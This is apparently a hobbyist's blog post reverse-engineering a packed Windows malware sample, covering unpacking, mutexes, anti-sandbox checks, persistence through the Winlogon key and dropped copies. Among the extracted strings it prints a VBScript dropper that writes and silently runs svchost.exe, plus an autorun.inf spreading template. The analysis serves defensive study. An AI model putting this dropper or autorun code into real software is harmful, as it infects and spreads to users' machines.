EXTREMELY Unsettling Malware (.exe)
Back with another malware sample from MalwareBazaar! An executable, this time. With an interesting icon. Performing a Google Image Reverse Search on the icon provides no clues to its origin. Incredibly strange.
1. Preliminary Static Analysis
Jumping right into the investigation with some static analysis. To get a feel of the sample before diving deep into technical reversing and detonation.
1.1 Packing
Running PEiD to identify packed binaries. High entropies like 7.88 are usually reliable indicators of packing. PEiD also detected the use of UPX
(the Ultimate Packer for eXecutables).
Wasting no time. I attempted to unpack the binary with the command upx -d malware.exe
without success. This raises the question of whether the binary was really packed with UPX, or simply disguising as such. Alternatively, it could just be a general error.
C:\Users\root\Desktop>upx -d malware.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 8th 2023
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: malware.exe: NotPackedException: not packed by UPX
Unpacked 0 files.
1.2 Section Information
Viewing section information with pestudio
reveals interesting information.
- Entry point is in .rmnet, a non-standard section name.
- UPX0 & UPX1 sections present, standard in UPX packed binaries. The section .rmnet, however, is not a UPX standard.
- 3 executable sections, UPX0, UPX1 & .rmnet.
- High entropy in 2 sections, UPX1 and .rmnet.
1.3 Strings
Extracting strings with the command floss malware.exe
. The following stand out. The binary appears to have networking capabilities. And a hardcoded domain 96.blog.hexun.com
.
96.blog.hexun.com
zilla/4.0 (Tpatixe; MSIE
HTTP/1.1
/VIP
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
Srv.exe
2. Detonation
Execution of the malware led to an EXTREMELY UNSETTLING window appearing. And the launch of Internet Explorer. Completely unexpected, and I was quite taken aback.
No intention of being stealthy - its objectives, a complete mystery.
2.1 Procmon Indicators
The malware spawns a complex process tree, opening many instances of msedge.exe
. It directly drops and executes the file malwareSrv.exe
from the filesystem (Srv.exe concatenated to the orginal filename).
I connected FlareVM to a REMnux box with inetsim
running. But nothing of interest flowed through.
2.2 Regshot Indicators
Regshot produced 260k lines of log. I was unable to parse them meaningfully. Here’s the logs that stand out.
----------------------------------
Files added: 52
----------------------------------
C:\Users\root\Desktop\malwareSrv.exe
2023-08-28 02:26:20, 0x00000020, 56320
C:\Users\root\Microsoft\DesktopLayer.exe
2023-08-28 02:26:20, 0x00000020, 56320
2.3 File Properties
The malware drops malwareSrv.exe in the execution directory. It then creates C:/Users/root/Microsoft
and drops DesktopLayer.exe. Below are properties of all 3 files - malware.exe
, malwareSrv.exe
and DesktopLayer.exe
. The cyrillic characters люзанх
have no dictionary meaning.
It turns out that malwareSrv.exe and DesktopLayer.exe are exact copies.
C:\Users\root\Desktop>sha256sum.exe malwareSrv.exe
fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320 *malwareSrv.exe
C:\Users\root\Desktop>sha256sum.exe ../Microsoft/DesktopLayer.exe
fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320 *../Microsoft/DesktopLayer.exe
3. Reversing malware.exe
3.1. Manual Unpacking
Popping malware.exe into IDA reveals a final unconditional jump in graph mode (.rmnet:005C231A jmp eax ; jmp 0x5a96d0
). I set a breakpoint in x32dbg, and observed as the malware jumped to unpacked code in the UPX1
section. Then, I dumped the process with Scylla (a x32dbg plugin), to obtain the unpacked Executable. However, I soon realized that this wasn’t the OEP (Original Entry Point) of the sample.
It seemed the malware was unpacking its code in parts. Perhaps this was the behaviour of UPX packed binaries. After jumping into 0x5a96d0
, the newly unpacked code began unpacking more code in the UPX0 section. Eventually, it reached another unconditional jump at 0x5a987c
.
Taking the jump showed promising unpacked code. I dumped the process with Scylla. And named the file malware_unpacked.exe
.
Threw malware_unpacked.exe
into IDA. All looked well. Malware successfully unpacked - awesome!
Pulled the following interesting strings from the binary with the command floss malware_unpacked
.
-------------------------------
| FLOSS ASCII STRINGS (14349) |
-------------------------------
http://28266996.blog.hexun.com
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
POST
HTTP/1.1
Accept:
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer:
Accept-Language:
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Content-Length:
http://
iexplore.exe
C:\WindowsWindows
http://time.tianqi.com/
.tmp
\shell\open\command
3.2. Dynamic Loading
malware.exe
performs a chunk of logic before eventually unpacking. It dynamically loads the following kernel32.dll libraries - GetProcAddress
, CreateMutexA
, ReleaseMutex
, CloseHandle
, GetLastError
, CreateFileA
, WriteFile
, GetModuleFileNameA
, CreateProcessA
.
3.3. Mutexes
The malware registers a mutex with CreateMutexA
, for the string “KyUffThOkYwRRtgPP”. The parameters are as follows.
HANDLE CreateMutexA(
[in, optional] LPSECURITY_ATTRIBUTES 0,
[in] BOOL 1,
[in, optional] LPCSTR "KyUffThOkYwRRtgPP"
);
There are several reasons why malware might create mutexes.
- Most commonly, to prevent multiple instances of itself from running concurrently.
- Possibly also used to communicate across threads and processes of the malware.
Mutexes are used as signature to detect known malware. As a result, more advanced techniques employ some randomness. Eg, deducing mutex name from system name.
As shown in Process Hacker, the malware has a HANDLE 0x230
on the newly created mutex.
A few instructions later, the mutex is released with ReleaseMutex
. If CreateMutexA
raises ERROR_ALREADY_EXISTS, the malware does not spawn malwareSrv.exe
.
4. Reversing malwareSrv.exe
Previously, I identified UPX signatures in malwareSrv.exe
. Thankfully, this time, the command upx -d malwareSrv.exe
unpacked the binary successfully.
C:\Users\root\Desktop>upx -d malwareSrv.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 8th 2023
File size Ratio Format Name
-------------------- ------ ----------- -----------
83968 <- 56320 67.07% win32/pe malwareSrv.exe
Unpacked 1 file.
4.1. Spawning malwareSrv.exe
Process malwareSrv.exe
starts at .rmnet:005C22E0 call dword ptr [ebp+20017412h] ; CreateProcessA
from malware.exe
.
4.2. Anti-Analysis
The process goes into an infinite loop and subsequently crashes if CloseClipboard
succeeds and returns a non-zero value. CloseClipboard
is expected to fail, since OpenClipboard
was not previously called.
This could be used for evasion, where automated sandboxes delibrately return a success code to WinAPI calls, for purposes of getting the suspected malware to execute its malicious functionality.
In a similar anti-analysis technique identified, the malware queries the Thread Information Block (TIB) for the Last Error Code
at fs:[34]. It then checks for ERROR_INVALID_PARAMETER
, raised by the CreateFileA
call a few instructions earlier.
ERROR_INVALID_PARAMETER
is expected. Terminates the malware prematurely if ERROR_INVALID_PARAMETER
is not raised.
Following code flow of this malware has been made incredibly confusing. Jumps and calls to dynamic addresses are common. In this example, the malware dynamically substitutes the current function’s return address with a VirtualAlloc
allocated address.
VirtualAlloc
is called with the following arguments.
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress 0x0,
[in] SIZE_T dwSize 0xF000,
[in] DWORD flAllocationType MEM_COMMIT,
[in] DWORD flProtect PAGE_EXECUTE_READWRITE
);
The return address of the current function is then replaced with the newly allocated address space from VirtualAlloc()
. When the current function ends, the process “jumps” to the newly allocated space.
4.2. Unpacking & Investigation
Code is injected into the newly allocated memory through this “unpacking” procedure. To extract the unpacked contents, I can dump the memory page. (But it’s 4am and I’m going to sleep)
(Good morning)
The malware jumps to the unpacked code in the newly allocated memory.
Dumping the memory page with x32dbg (Memory Map -> Dump Memory to File).
Here, we pop the .bin
memory dump into IDA. And begin our static analysis.
A call to ntdll.ZwQuerySystemInformation
is made at offset 0x36b6
. An unknown value at [ebp-804]
is compared against the values [0x84d0, 0x8534, 0x8660, 0x86c4]. If it matches any of the values, the process exits prematurely.
This could be an anti-analysis technique, although I am unsure.
To circumvent the exit conditions, I patched the instruction to an unconditional jump.
At some point during execution, the malware referenced an MZ signature in its address space. I dumped the memory page and verified that it was a legitimate PE file, and renamed it to malwareSrv_dumped.exe
. (I’m losing my mind)
Eventually, the unpacked process jumps back to malwareSrv.exe
at 0x411390. It turns out that more code was unpacked, since 0x411390
contained rubbish in IDA (???). I’ll dump it with Scylla.
Unpacked code displayed in IDA for offset 0x411390
. In fact the code structure seems to be of another unpacking procecure.
Sure enough, the process jumps into more unpacked code :(
.
Juicy stuff here. And it seems to be the last of it. Really looks like the raw malware, stripped of all its defences.
Once again, I ran floss against the binary. LOTS of additional incriminating strings extracted.
It seems the malware performs the following operations,
- establishes persistence through
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
. - Runs malicious VBScript.
- Drops a malicious
svchost.exe
into %Temp% withGetSpecialFolder(2)
. - Runs the malicious
svchost.exe
with WSHshell.Run.
-----------------------------
| FLOSS ASCII STRINGS (743) |
-----------------------------
google.com:80
bing.com:80
yahoo.com:80
45Bn99gT
dmlconf.dat
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit
complete.dat
Software\WASAntidot
Antidot is activate
</SCRIPT>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = ""
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>RmN
autorun.inf
RECYCLER
.exe
[autorun]
action=Open
icon=%%WinDir%%\system32\shell32.dll,4
shellexecute=.\%s
shell\explore\command=.\%s
USEAUTOPLAY=1
shell\Open\command=.\%s
RMNetwork
The malware leverages Internet Explorer to run its malicious VBScript. Why it goes through the hassle is still a mystery to me.
For some odd reason, the malware modifies ntdll.dll
to PAGE_EXECUTE_READWRITE
, overwrites an instruction to jmp ZwWriteVirtualMemory
, then modifies ntdll.dll
back to PAGE_EXECUTE_READ
.
4.3. Functionality
Finally, let’s break the malware down and discuss its key functionalities.
Firstly, the malware checks for the existence of Internet Explorer with the following methods.
- Calls
RegQueryValueExA
on the registry keyComputer\HKEY_CLASSES_ROOT\http\shell\open\command
. - Calls
RegQueryValueExA
on the registry keySOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
- Checks whether
%ProgramFiles%\Internet Explorer\iexplore.exe
exists withFindFirstFileA
.
Secondly, checks for the mutex KyUffThOkYwRRtgPP
,
Thirdly, copies the previously dropped malwareSrv.exe
to C:\Program Files (x86)\Microsoft\DesktopLayer.exe
, and executes it.
Next, it dynamically loads the following undocumented WinAPIs - LdrLoadDll
, LdrGetDllHandle
, LdrGetProcedureAddress
, RtlInitUnicodeString
, RtlUnicodeStringToAnsiString
, RtlFreeAnsiString
, RtlInitString
, RtlAnsiStringToUnicodeString
, RtlFreeUnicodeString
, ZwProtectVirtualMemory
, RtlCreateUserThread
, ZwFreeVirtualMemory
, ZwDelayExecution
, ZwQueryInformationProcess
.
5. malwareSrv_dumped.exe?
This strange executable was memory dumped when I noticed a MZ signature in the process’ address space. It has a UPX signature, but the upx -d
command failed.
I manually unpacked it. Turns out it was just the same unpacked code that we investigated in 4.3. Functionality
.
6. Closing
Unfortunately, I will end the analysis here. Consider this blog entry a convoluted braindump of my analysis for this sample. I would estimate a total of 9 hours spent, over the course of 7 days.
While finding evidence of (malicious?) domains and scripts embedded within the malware, I was unable to get said branches to run - which was pretty disappointing. That said, there is enough evidence to consider this binary malicious.
A hair-pulling sample, nonetheless. I look forward to more.
Thanks for tuning in!